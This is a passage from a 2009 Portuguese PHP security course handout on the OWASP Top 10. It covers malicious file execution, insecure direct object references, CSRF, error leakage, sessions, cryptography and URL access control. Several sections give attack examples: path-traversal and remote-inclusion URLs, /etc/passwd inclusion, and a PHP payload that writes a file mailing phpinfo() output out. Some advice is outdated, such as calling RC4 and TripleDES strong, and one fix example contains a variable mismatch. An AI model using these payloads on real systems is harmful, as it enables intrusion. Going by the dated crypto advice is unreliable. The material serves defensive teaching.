Exemplo #1 – Acesso inapropriado à arquivos
http://www.galvao.eti.br/usa_arquivo.php?arq=../../../../etc/php5/apache2/php.ini
Exemplo #2 – Execução remota de arquivo
http://www.galvao.eti.br/usa_arquivo.php?arq=http://www.foo.bar.com.br/arquivo.php
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 23 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Exemplo #3 - “Instalando” arquivos maliciosos (caso específico de inclusão de arquivo)
<?php
$evilCode = <<< EVL
<?php
\\$headers = 'MIME-Version: 1.0' . \"\\r\\n\";
\\$headers .= 'Content-type: text/html; charset=iso-8859-1' . \"\\r\\n\";
ob_start();
phpinfo(-1);
\\$resultado = ob_get_contents();
ob_end_clean();
mail('galvao@galvao.eti.br', 'Yatta!', \\$resultado, \\$headers);
?>
EVL;
if ($fw = fopen('./f6543.php', 'w')) {
fwrite($fw, $evilCode);
fclose($fw);
} else {
mail('galvao@galvao.eti.br', 'Damn!', print_r(error_get_last(), true));
}
?>
A exploração é feita, então, através da inclusão remota da URL:
http://www.galvao.eti.br/usa_arquivo.php?arq=http://www.foo.bar.com.br/arquivo.php
Soluções insuficientes
Uma aplicação, idealmente, não deveria trabalhar com dados fornecidos pelo
usuário para manipulação de arquivos. Além disso, e nunca é demais estressar este
ponto, soluções de black list, como a filtragem de caracteres específicos não é suficiente.
Além disso raramente podemos alterar as configurações allow_url_fopen – que
inclusive vem ativada por default – e allow_url_include, responsáveis por permitir a
abertura e inclusão de arquivos remotos, respectivamente.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 24 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Recomendações
Prevenir vulnerabilidades de Execução Maliciosa de Arquivos requer um cuidadoso
planejamento da aplicação. Algumas considerações importantes:
Use referências indiretas à objetos (mais sobre isso na próxima vulnerabilidade).
●
Realize uma forte validação dos dados antes de utilizá-los, sempre lembrando que
●
uma validação por white list é recomendável em detrimento de validações
baseadas em black list.
Certifique-se de que dados fornecidos pelo usuário que serão usados em funções
●
que envolvem arquivos e/ou streams não interfiram com outras partes da
aplicação, como sessões, relatórios, imagens, etc...
Se possível utilize uma solução de chroot jail ou outro mecanismo de sand box
●
para isolar as aplicações entre si.
Recomendações específicas para PHP
Desative (se possível) as configurações allow_url_fopen e allow_url_include.
●
Desative (se possível) a configuração register_globals e utilize o nível de erro
●
E_STRICT de forma à capturar variáveis não-inicializadas.
Certifique-se que todas as funções relacionadas à arquivos/streams não aceitem
●
entrada de dados externa.
Tenha extremo cuidado com dados passados para funções de execução de
●
comandos no SO, como system, exec, etc...
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 25 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Recomendações PHP na prática
Uma solução para este tipo de vulnerabilidade é implementarmos a abordagem de
white list. Tomemos como exemplo um script que recebe um dado para informar que
arquivo deve ser aberto, porém todo e qualquer arquivo, deve estar em um diretório
específico ou no máximo em subdiretórios à partir deste:
<?php
$path = './logs';
if (preg_match('/^[a-z]+\\.{1}log$/', utf8_decode($_GET['arq']))) {
echo file_get_contents($path . '/' . utf8_decode($_GET['arq']));
} else {
die('Dados inválidos');
}
?>
Observe o nível de restrição da regra de validação: só serão considerados válidos
dados que iniciarem por uma letra, contiverem apenas letras, seguidas por um e apenas
um ponto e a extensão 'log'.
Esta é a grande vantagem da abordagem do tipo white list: à partir do momento em
que as regras de negócio e a lógica da aplicação estão bem definidas temos a
possibilidade de criar uma regra o mais restrita possível, que bloqueará entradas inválidas
e ao mesmo tempo funcionará transparentemente para acessos legítimos.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 26 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Referência Insegura Direta à Objetos
O que é: Uma referência direta à objeto ocorre quando um desenvolvedor expôe uma
referência para um objeto implementado internamente na aplicação – como um arquivo,
diretório ou registro da base de dados, por exemplo – como um parâmetro passado via
URL ou formulário. Um atacante pode manipular referências diretas à objetos para
acessar outros objetos sem autorização, à não ser que uma checagem de controle de
acesso seja implementada.
Tipos Conhecidos: -
Ambientes afetados: Todo e qualquer ambiente web.
Detalhamento, Exemplos e Soluções:
Muitos atacantes experimentam com parâmetros e elementos de formulário de
forma à comprometer uma aplicação. A maioria dos casos de aplicações vulneráveis faz
referência à arquivos ou registros de bases de dados. Vejamos um exemplo:
http://www.galvao.eti.br/editPerfil.php?uid=12
<?php
/* Código para acessar a base */
$sql = 'SELECT email, site, foto FROM usuarios WHERE usuario_id = ' . $conn->Param('id') . ' LIMIT
1';
$prep = $conn->Prepare($sql);
$resultado = $conn->Execute($sql, array('id' => (int)$_GET['uid']));
while (!$resultado->EOF) {
/* Código para gerar campos de formulário */
}
?>
Como não há nenhuma checagem de segurança ou controle de acesso, um
atacante pode editar o perfil de qualquer usuário simplesmente alterando o parâmetro 'uid'
presente na query string, já que este faz referência direta à um objeto (neste caso um
registro presente na base de dados).
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 27 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Exemplo de código vulnerável
Além do exemplo acima, podemos citar também o caso clássico de interação entre
formulário e script. Considerando-se que possuímos arquivos próprios para cada idioma
(como por exemplo 'pt.php' e 'en.php'):
/* Código HTML padrão de formulário */
<select name=”idioma”>
<option value=”en”>inglês</option>
<option value=”pt”>português</option>
</select>
<?php
require $_REQUEST['idioma'];
/* código restante */
?>
Este script pode ser facilmente enganado através da manipulação do valor do
elemento:
http://www.galvao.eti.br/seleciona_idioma.php?idioma=/etc/passwd
Qualquer semelhança, neste caso, não é mera coincidência: este exemplo expõe
duas vulnerabilidades: Execução Maliciosa de Arquivo e Referência Insegura Direta à
Objetos.
Obs.: Utilizamos o array superglobal $_REQUEST propositalmente neste exemplo para
simplificarmos a exemplificação da exploração desta vulnerabilidade. Não esqueça:
requisições pelo método POST são tecnicamente mais complexas de serem forjadas, mas
igualmente possíveis.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 28 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Soluções Insuficientes
Embora rotinas de controle de acesso (que veremos na prática à seguir) sejam
indispensáveis para minimizar esta vulnerabilidade, elas não são suficientes por si só: é
necessário, nos casos de referências à arquivos, por exemplo, um mapeamento indireto
dos arquivos de forma à assegurar que o sistema de arquivos da máquina que roda a
aplicação não seja exposto.
Recomendações
Utilize um processo de indexação/mapeamento dos objetos da aplicação, de forma
●
que eles não sejam expostos diretamente.
Valide referências indiretas à objetos, através de – como de costume – uma rotina
●
de white list.
Implemente uma rotina de controle de acesso, de forma à se assegurar de que o
●
usuário só tenha acesso ao que lhe é devido.
Recomendações PHP na prática
<?php
/* Código para acessar a base */
$sql = 'SELECT email, site, foto FROM usuarios WHERE usuario_id = ' . $conn->Param('id') . ' AND
usuario_id = ' . $user->getID() . ' LIMIT 1';
$prep = $conn->Prepare($sql);
$resultado = $conn->Execute($sql, array('id' => (int)$_GET['uid']));
while (!$resultado->EOF) {
/* Código para gerar campos de formulário */
}
?>
Observe a pequena porém importantíssima modificação no código: o usuário, à
partir deste momento, terá acesso apenas a página de modificação do seu próprio perfil.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 29 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:18
À seguir veremos duas abordagens distintas para o problema da referência direta à
arquivos:
Exemplo #1:
<?php
// Através de indexação indireta
$idiomas = array('en', 'pt');
$idioma_OK = (int)$_GET['idioma'];
if (in_array($id_OK, array_keys($idiomas))) {
require $idiomas[$id_OK] . '.php';
}
?>
Exemplo #2:
<?php
// Através de indexação indireta, com checagem via white list
$idiomas = array('en', 'pt');
if (!preg_match('/^[0-9]{1}$/', $_GET['idioma'])) {
die('Arquivo não encontrado');
} else {
if (in_array($_GET['idioma'], array_keys($idiomas))) {
require $idiomas[$_GET['idioma']] . '.php';
}
}
?>
Embora tecnicamente eficientes há uma diferença importante entre estas
abordagens:
O Exemplo #2 utiliza, explicitamente, a abordagem de white list para verficação se
o dado recebido é, de fato numérico. O Exemplo #1 não faz, na prática, esta validação,
porém 'força' a tipagem do dado para um número inteiro através da construção int. Isto
significa que enquanto no Exemplo #2 um dado não-numérico será automaticamente
barrado pela aplicação, o mesmo não ocorrerá no primeiro caso.
O Exemplo #1 implementa uma espécie de rotina de fallback, onde dados não-
numéricos resultarão no seu equivalente numérico caso iniciem por um número ou no
número 0 (zero) no caso de iniciarem por caracteres não-numéricos.
É pelos motivos apresentados acima que a abordagem do exemplo #2 é,
tecnicamente, a mais correta e segura.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 30 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:18
CSRF – Cross Site Request Forgery
O que é: Vulnerabilidades CSRF causam ataques devastadores: Ataques baseados nesta
vulnerabilidade 'forçam' um browser de um usuário logado em uma aplicação a enviar
uma requisição para uma aplicação vulnerável, que por sua vez executará uma ação em
nome do usuário.
Tipos conhecidos: Esta vulnerabilidade também é conhecida pelos nomes: Session
Riding, One-click Attack, Cross Site Reference Forgery, Hostile Linking e Automation
Attack. Também é conhecida pelo acrônimo XSRF, embora tanto o OWASP como a
MITRE tenham chegado no consenso de utilizar o acrônimo CSRF e o nome Cross Site
Request Forgery.
Ambientes afetados: Todo e qualquer ambiente web.
Detalhamento, Exemplos e Soluções:
Uma das principais causas da existência desta vulnerabilidade é a confiança
excessiva por parte da aplicação em credenciais de acesso automaticamente
transmitidas, como um cookie de sessão, ou por permitir que credenciais de acesso sejam
transmitidas por parâmetros de query string ou formulário sem checagens de segurança
adicionais.
Embora não sejam absolutamente necessárias para que ocorram falhas de CSRF,
toda a aplicação vulnerável à XSS é, via de regra, um veículo para ataques baseados em
CSRF, pois tags injetadas podem conter o direcionamento necessário para a aplicação
vulnerável.
Consequências possíveis
Diversas. A consequência da exploração de uma vulnerabilidade CSRF está
diretamente ligada ao tipo de ações possíveis na aplicação vulnerável.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 31 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Exemplo de código vulnerável
Exemplo #1 – Confiando em cookies
<?php
if (isset($_COOKIE['cliente_autenticado'])) {
// Qualquer código de validação das informações contidas no cookie
// Seguido do código que implementa um comportamento “normal” da aplicação
// como se o usuário já estivesse autenticado.
}
?>
É importante frisar que, embora o exemplo clássico desta vulnerabilidade esteja
associado à confiança em cookies, mesmo as aplicações que não lidam com cookies ou
sempre realizam a autenticação do usuário não são necessariamente seguras, embora
sejam mais complexas de serem atacadas.
Isto ocorre porque se as credenciais do usuário forem expostas por qualquer
motivo, elas podem ser enviadas em uma requisição forjada para o script de autenticação,
e consequentemente permitir uma ação em nome do usuário posteriormente.
Soluções insuficientes
Qualquer solução que não implemente uma checagem de segurança que se baseie
em uma forte rotina de verificação que não seja disponível para o browser é, por
definição, insuficiente.
Recomendações
Certifique-se de que sua aplicação não seja vulnerável à ataques XSS.
●
Trabalhe com tokens específicos que não sejam armnazenados em nenhum meio
●
– como sessões, por exemplo – que possibilite ao browser “lembrá-los”.
Para ações extremamente delicadas, re-autentique o usuário.
●
Não utilize o requisições GET para ações delicadas.
●
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 32 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Recomendações PHP na prática
O código-fonte necessário para a geração e manutenção de tokens seria longo
demais para incluir nesse material. Sendo assim, este código será trabalhado, desde o
começo e de forma prática, dentro de sala de aula. Seguiremos a seguinte lógica para
desenvolver o código necessário:
1 Programaremos uma classe responsável por:
1.1 Gerar novos tokens
1.2 Armazenar tokens gerados em um RDBMS de forma à utilizá-los
1.3 Os tokens expirarão depois de um tempo pré-definido.
2 O script responsável por realizar a autenticação, por sua vez, não apenas checará
pela validade do token, como fará com que ele expire automaticamente depois do
seu uso.
Observe-se que, embora a prática seja relativamente complexa, a teoria por trás
disso é simples: o ponto crucial é que se utilize uma espécie de “chave” de validação que
seja independente do browser e que não seja “memorizado” por nenhum mecanismo de
armazenamento do lado cliente.
Desta forma impedimos que um ataque que procura explorar vulnerabilidades
CSRF tente transmitir automaticamente esta chave.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 33 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Vazamento de Informações e Tratamento de Erros Inapropriado
O que é: Aplicações podem “vazar” informações sobre sua configuração e rotinas
internas, devido à uma variedade de problemas. Elas também podem vazar informações
sobre suas rotinas de processamento de estado através do tempo que demoram para
processar requisições específicas ou como reagem à diferentes entradas de informação.
Tipos conhecidos: -
Ambientes afetados: Todo e qualquer ambiente web.
Detalhamento, Exemplos e Soluções:
Aplicações geralmente apresentam mensagens de erro para seus usuários.
Frequentemente estas mensagens são úteis para um atacante, já que elas revelam
detalhes de implementação ou informações que são úteis para a exploração de uma
vulnerabilidade específica. Os exemplos mais comuns são:
Tratamento de erro detalhado, onde a indução de um erro causa a exibição de
●
muita informação, como falhas de queries SQL ou outras informações de debug.
Funções que produzem resultados diferentes dependendo da entrada de dados.
●
Por exemplo: uma função de autenticação deveria produzir exatamente a mesma
mensagem de erro para os casos em que o usuário não existe e para quando a
senha está incorreta.
Consequências possíveis
Comprometimento de toda a aplicação através do comprometimento de um dos
●
componentes do backend, como o RDBMS, através da análise de mensagens de
erros em falhas na execução de queries.
Facilitação da exploração das demais vulnerabilidades expostas neste material.
●
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 34 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Exemplo de código vulnerável
<?php
$conn = mysql_connect($host, $user, $senha);
$sql = “SELECT id FROM usuarios WHERE login='$login' AND senha='$senha'”;
$resultado = mysql_query($sql) or die('Erro ao executar a query: ' . $sql);
// Mais código padrão
?>
Exemplos de exploração
Uma mensagem de erro retornada pela primeira linha, no caso de problemas no
RDBMS, entregaria muitas informações importantes para um atacante:
Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'usuario'@'localhost'
(using password: YES) in /home/galvao/workspace/topten/mysql_error.php on line 2
Observe-se que, se para invadirmos um RDBMS precisamos de três informações
(endereço do servidor, usuário e senha), a mensagem de erro acima já nos disponibiliza
duas destas.
Soluções insuficientes
É importante observar que o uso ou não da função die não representa um
acréscimo de risco: esta função apenas nos permite interromper a execução do script e
exibir uma mensagem de erro customizada. Embora ambas as coisas sejam interessantes
no tratamento desta vulnerabilidade se a exibição de erros do interpretador PHP estiver
ativada elas de nada adiantarão.
Da mesma forma é importante que haja um planejamento cuidadoso da aplicação,
em um ponto que é normalmente ignorado: o tratamento de erros específicos e que
mensagens serão exibidas para o usuário.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 35 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Recomendações
Certifique-se que toda a equipe de desenvolvimento possua uma política bem
●
definida no tratamento de exceções.
Todas as ações que passam pelo mesma rotina (por exemplo, autenticação)
●
retornem a mesma mensagem de erro em caso de falha, e no mesmo tempo de
execução.
Quando trabalhamos com aplicações web existem normalmente diversos
●
componentes envolvidos no desenvolvimento, como o RDBMS e o servidor Web,
por exemplo, que podem retornar mensagens de erro para a aplicação. Certifique-
se de que erros vindos de qualquer componente sejam devidamente tratados.
Recomendações específicas para PHP
Desative a exibição de mensagens de erro (display_errors) e ative o
●
armazenamento das mensagens em arquivo (log_errors).
Considere implementar um handler padrão para todo e qualquer erro (veja a
●
seguir).
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 36 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Recomendações PHP na prática
<?php
class ErrorHandler
{
private static $errMsg;
public static function displayError($pErrCode, $pErrMsg, $pErrFile, $pErrLine)
{
self::$errMsg = \"Código: $pErrCode\\nMensagem: $pErrMsg\\nArquivo: $pErrFile\\nLinha:
$pErrLine\";
echo \"Ocorreu um erro. Por gentileza contate o administrador do sistema.\";
mail('galvao@galvao.eti.br', 'Erro no sistema', self::$errMsg);
die();
}
}
?>
<?php
// Arquivo para ser incluído em todos os scripts
require 'error_handler.class.php';
set_error_handler(array(ErrorHandler, 'displayError'), E_ALL);
?>
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 37 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Autenticação Falha e Gerenciamento de Sessão
O que é: Vulnerabilidades desse tipo frequentemente envolvem a falha em proteger as
credenciais de acesso do usuário e tokens de sessão. Basicamente, este item do Top 10
se refere não apenas aos problemas de sessão, mas também à questões epecíficas de
autenticação.
Tipos conhecidos: -
Ambientes afetados: Todo e qualquer ambiente web.
Detalhamento, Exemplos e Soluções:
Falhas na rotina principal de autenticação não são incomuns, mas fraquezas
relacionadas à estas vulnerabilidades geralmente são encontradas em funções auxiliares
como logout, tempo de expiração, lembrete de senhas, atualização de contas de acesso e
gerenciamento de senhas.
Consequências possíveis
Exposição de credenciais de acesso.
●
Sequestro de contas de acesso.
●
Violação de privacidade de usuários.
●
Comprometimento da aplicação.
●
Exemplo de código vulnerável
As questões relacionadas à esta vulnerabilidade não podem ser demonstradas, à
exemplo das demais, por exemplos “clássicos”. Sendo assim, veremos com maior foco a
parte de recomendações e código PHP na prática.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 38 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Soluções insuficientes
Sessões e rotinas de autenticação são assuntos frequentemente subestimados
pelos desenvolvedores. Grande parte das rotinas de gerenciamento de sessões, por
exemplo, não possuem uma preocupação em re-gerar o ID da sessão ou confiam na
configuração/funcionalidade session.use_trans_sid, que acaba por expor o ID da sessão
em links.
Outro ponto frequentemente ignorado é o uso de HTTPS (HTTP Seguro) para
transações delicadas.
Recomendações
Para autenticação sempre inicie por um formulário em uma página protegida por
●
SSL.
Utilize mecanismos de gerenciamento de sessões conhecidos, evite re-escrever
●
funcionalidades que já são suportadas pela linguagem ou por um framework, por
exemplo.
Não aceite que IDs de sessão sejam passados como parâmetro, seja por query
●
string ou formulário.
Evite, se possível, usar rotinas de fixação de usuários autenticados,
●
Utilize uma rotina única, fortemente protegida, de autenticação.
●
Considere re-gerar o ID de sessão à cada autenticação ou mudança de privilégios
●
de acesso.
Disponibilize um link de logout em todas as páginas da aplicação. Lembre-se: a
●
rotina de logout deve, obrigatoriamente, destruir todo e qualquer dado da sessão
tanto do lado servidor quanto do lado cliente.
Rotinas de logout devem ser simples, de forma que pedidos de confirmação, por
●
exemplo, sejam evitados. Lembre-se: você pode perder tempo programando
rotinas de confirmação de logout, mas o usuário nem sempre terá paciência pra
fazer o mesmo.
Utilize um período de tempo para automaticamente realizar o logout de sessões
●
inativas (timeout). Dê preferência para esquemas de “pergunta/resposta” ou reset
de senhas.
Não confie em dados que podem ser forjados como Endereços IP ou partes deste
●
(como verificar endereços IP de uma intranet, por exemplo), DNS, referrers ou
similares como única forma de autenticação.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 39 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Recomendações PHP na prática
<?php
// Re-gerando um id de sessão
session_start();
// Código que faz a autenticação ou mudança de privilégios de acesso
session_regenerate_id(true);
// Restante do código
?>
<?php
// Destruindo todos os dados de sessão (parascripts de logout)
session_start();
// Destrói todas as variáveis de sessão
$_SESSION = array();
// Destrói o cookie da sessão
if (isset($_COOKIE[session_name()])) {
setcookie(session_name(), '', time()-42000, '/');
}
// Destrói a sessão em si
session_destroy();
?>
Para definir uma rotina de timeout o ideal é utilizar uma fonte externa (como o
RDBMS, por exemplo) para armazenar o timestamp de uma sessão criada, de forma que
se possa verificar, de tempos em tempos, sessões inativas. Todo e qualquer script, à
partir dessa abordagem, deve atualizar o RDBMS, informando a “última vez em que
ocorreu uma ação” (ou seja simplesmente atualizando o timestamp).
Ainda segundo esta abordagem, o ideal, quando possível, é criar uma forma
independente da aplicação em si de checar e marcar registros como “inválidos por
inatividade”. Para isto pode-se definir um script que seja executado via crontab/Agendador
de Tarefas ou através da programação de uma stored procedure no RDBMS.
Estas questões fogem de uma certa maneira ao escopo deste material, mas
havendo tempo hábil analisaremos alguns detalhes em sala de aula.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 40 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Armazenamento Criptográfico Inseguro
O que é: O uso de criptografia se tornou uma questão-chave da maioria das aplicações
web. Porém, falhar em realmente criptografar dados delicados é extremamente comum.
Tipos conhecidos: -
Ambientes afetados: Todo e qualquer ambiente web.
Detalhamento, Exemplos e Soluções:
Os problemas relacionados à esta vulnerabilidade podem ser definidos da seguinte
forma:
Não utilizar nenhuma forma de criptografia
●
Uso de algoritmos caseiros
●
Uso inseguro de algoritmos fortes (veja detalhes nas Recomendações)
●
Uso de algoritmos comprovadamente fracos, como MD5 e SHA-1
●
Armazenamento de chaves em meios inseguros
●
Esta vulnerabilidade é mais uma cuja proteção é mais foco de planejamento e
design da aplicação do que propriamente código-fonte. Ainda assim, veremos algumas
questões relacionadas específicamente à linguagem PHP que podem facilitar o seu
tratamento.
Consequências possíveis
Exposição de dados sensíveis, como credenciais de acesso, dados relacionados à
●
comércio, etc...
Violação de privacidade
●
Comprometimento da aplicação
●
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 41 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Soluções insuficientes
Soluções “clássicas” e insuficientes para a criptografia de informação envolve,
basicamente, o uso dos dois hashes mais comuns em aplicações PHP: MD5 e SHA-1.
Qualquer aplicação que utilize uma das duas funções – md5 e sha1, respectivamente –
está automaticamente vulnerável.
Isto se dá pelo fato de que o MD5 já foi completamente quebrado, sendo fácil
encontrar na própria web sites que disponibilizam as chamadas rainbow tables –
literalmente tabelas que contém a string decodificada partindo-se do hash original.
O SHA-1, ou US Secure Hash Algorithm 1, era o algoritmo criptográfico utilizado
pelo governo Norte-Americano. Embora não haja notícia de sua quebra total, uma quebra
parcial foi alcançada por um pesquisador chinês, levando o governo dos EUA à
abandonar este algoritmo.
Resumidamente, podemos afirmar que as seguintes afirmações são verdadeiras,
embora evidentemente elas não estejam presentes neste material para proporcionar paz
de espírito à ninguém:
Entre não utilizar nenhum algoritmo e utilizar MD5, o melhor é optar por este.
●
Entre utilizar MD5 e SHA-1 a melhor opção é a segunda.
●
Recomendações
Não crie algoritmos próprios. É um equívoco enorme e muito comum se pensar que
●
pode-se obter algum nível de segurança por obscuridade ao se optar por um
código próprio.
Não use algoritmos fracos como MD5 e SHA-1.
●
Ao usar chaves criptográficas e vetores de inicialização, jamais deixe o código
●
responsável por sua geração acessível on-line e jamais armazene-as em meios
que podem ser acessados por terceiros.
Certifique-se de que credenciais de acesso (como à base de dados, por exemplo)
●
não sejam acessíveis publicamente.
Lembre-se que dados 'delicados' não representam apenas os casos mais óbvios
●
como senhas e números de cartão de crédito. Se o dado é importante ele deve ser
criptografado.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 42 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20
Recomendações específicas para PHP
Esqueça md5 e sha1. Utilize a função mcrypt. Embora esta função não seja padrão
●
na instalação do interpretador da linguagem a grande maioria dos serviços de
hospedagem habilita esta extensão por default.
Recomendações PHP na prática
A grande vantagem da função mcrypt sobre as demais é a possibilidade de
implementação de algoritmos notoriamente fortes (como TripleDES e RC4, apenas pra
citar alguns).
Outra funcionalidade que é desconhecida para a maioria dos programadores PHP
devido ao hábito de uso da md5 e sha1 é que esta função implementa algoritmos de mão-
dupla, tornando possível a decodificação de informações, quando necessário.
<?php
//Exemplo de uso da mcrypt, com criptografia de mão-dupla
$usuario = 'galvao';
$chave = 'hj(*7aksjkas aa, ';
$iv_size = mcrypt_get_iv_size(MCRYPT_TRIPLEDES, MCRYPT_MODE_OFB);
$iv = mcrypt_create_iv($iv_size, MCRYPT_DEV_RANDOM);
$crypt_user = mcrypt_encrypt(MCRYPT_TRIPLEDES, $chave, $usuario, MCRYPT_MODE_OFB,
$iv);
echo \"$crypt_user\\n\";
$decrypt_user = mcrypt_decrypt(MCRYPT_TRIPLEDES, $chave, $crypt_user,
MCRYPT_MODE_OFB, $iv);
echo \"$decrypt_user\\n\";
?>
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 43 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20
Comunicações Inseguras
O que é: É extremamente comum em aplicações web a despreocupação com a
criptografia de comunicação de informações delicadas. A falha na implementação desta
implica na exposição dos dados que estão trafegando (tanto em páginas web, como em
comunicações com algum backend).
Tipos conhecidos: -
Ambientes afetados: Todo e qualquer ambiente web.
Detalhamento, Exemplos e Soluções:
Através do monitoramento de comunicações transmitidas através de redes não
criptografadas um atacante pode ter acesso à toda e qualquer informação constante nesta
comunicação.
Este é o único caso de vulnerabilidade presente neste material que não possui
relação direta com código-fonte.
Consequências possíveis
Exposição de informações, incluindo credenciais de acesso.
●
Violação de privacidade.
●
Comprometimento da rede, do servidor e por consequência de toda e qualquer
●
aplicação que trafegue informações nestes meios.
Recomendações
Toda e qualquer comunicação que trabalhe com informações delicadas deve ser,
●
obrigatoriamente, protegida, sendo o exemplo mais comum a criptografia através
de SSL / HTTPS.
Isto inclui comunicações entre a aplicação e seus backends, como o RDBMS.
●
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 44 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20
Falha de Restrição de Acesso à URL
O que é: Frequentemente a única forma de restrição de acesso à uma URL específica
dentro de uma aplicação é a ausência de links que apontem diretamente para a mesma.
Um atacante com conhecimento, habilidade ou até mesmo sorte pode descobrir e acessar
uma URL, invocando funções da aplicação ou obtendo acesso à informações.
Tipos conhecidos: -
Ambientes afetados: Todo e qualquer ambiente web.
Detalhamento, Exemplos e Soluções:
A falta de checagens de controle de acesso é uma das principais causas desta
vulnerabilidade. isto acaba resultando em acesso indevido à URLs que normalmente não
deveiam estar disponíveis. Um “efeito dominó” é gerado à partir deste acesso: a URL
causa a invocação de funções, que por sua vez desempenham ações sobre
componentes, o que nos piores casos leva à exposição e/ou corrupção de dados.
Consequências possíveis
Exposição de dados.
●
Violação de privacidade.
●
Corrupção de dados.
●
Comprometimento da aplicação.
●
Exemplo de código vulnerável
As questões relacionadas à esta vulnerabilidade não podem ser demonstradas, à
exemplo das demais, por exemplos “clássicos”. Sendo assim, veremos com maior foco a
parte de recomendações.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 45 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20
Soluções insuficientes
Os erros mais comuns que tornam uma aplicação suscetível à ataques que
explorem esta vulnerabilidade são relacionados ao planejamento. É muito comum a
preocupação, por exemplo, de restringir o acesso à URLs delicadas apenas forçando-se
uma rotina de autenticação.
Este tipo de “proteção” é extremente ineficiente devido à falta de rotinas de controle
de acesso e permissões. Se qualquer usuário do sistema for comprometido, o acesso à
URLs restritas torna-se possível pelo simples fato de um atacante possuir credenciais de
acesso.
Além disso é extremamente comum a tentiva de proteção através de obscuridade
ao se definir as URLs. Esta abordagem é ingênua, pois sendo a web um ambiente
inerentemente aberto, um simples ataque automatizado de “tentativa x erro” é suficiente
para descobrir qualquer URL, por mais obscura que seja.
Ao se definir rotinas de permissão de acesso um dos erros mais comuns é a
inexistência de uma categoria “anônima”. Isso faz com que a probabilidade de erros na
definição das regras de permissão aumente consideravelmente.
Recomendações
Assegure-se de que uma forte rotina de controle de acesso e níveis de permissão
●
seja parte da aplicação, em todas as suas fases: Planejamento, Desenvolvimento,
Testes, etc...
Certifique-se de que todas as URLs sejam cobertas por estas rotinas e que todos
●
os “níveis” de usuários da aplicação estejam cobertos, mesmo o nível “usuário-não-
registrado/autenticado”.
Arquivos que serão usados por inclusão devem, via de regra, estar for a da raiz
●
web, não sendo publicamente acessíveis.
Bloqueie o acesso à qualquer tipo de arquivo que sua aplicação não utilize,
●
tomando por regra a abordagem do tipo white list.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 46 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20
Recomendações específicas para PHP
Utilize práticas organizadas e bem-estruturadas de desenvolvimento (como OO e
●
MVC), que naturalmente levarão à práticas que resultarão na separação de lógica
de aplicação, mantendo arquivos críticos longe da raiz web do servidor.
Uma prática comum em certos frameworks (como o Zend Framework, por
●
exemplo) e que auxilia na proteção contra esta vulnerabilidade é o padrão Front
Controller onde todas as requisições são tratadas pelo mesmo controller.
Recomendações na prática
Através da criação de um arquivo .htaccess na raiz web de sua aplicação é
possível implementar o padrão Front Controller:
# www/.htaccess
RewriteEngine On
#RewriteBase /
RewriteRule !\\.(js|ico|txt|gif|jpg|png|css)$ index.php
Observe-se que a regra de redirecionamento para a controller padrão baseia-se na
análise da extensão do arquivo presente na URL, impedindo-se que requisições comuns –
como por exemplo uma imagem – fiquem “presos” na regra.
Este é apenas um exemplo simples e foge do escopo deste material, mas o
entendimento do funcionamento de re-escrita de URLs através da manipulação de um
arquivo .htaccess torna-se importante na medida que pode auxiliar na implementação de
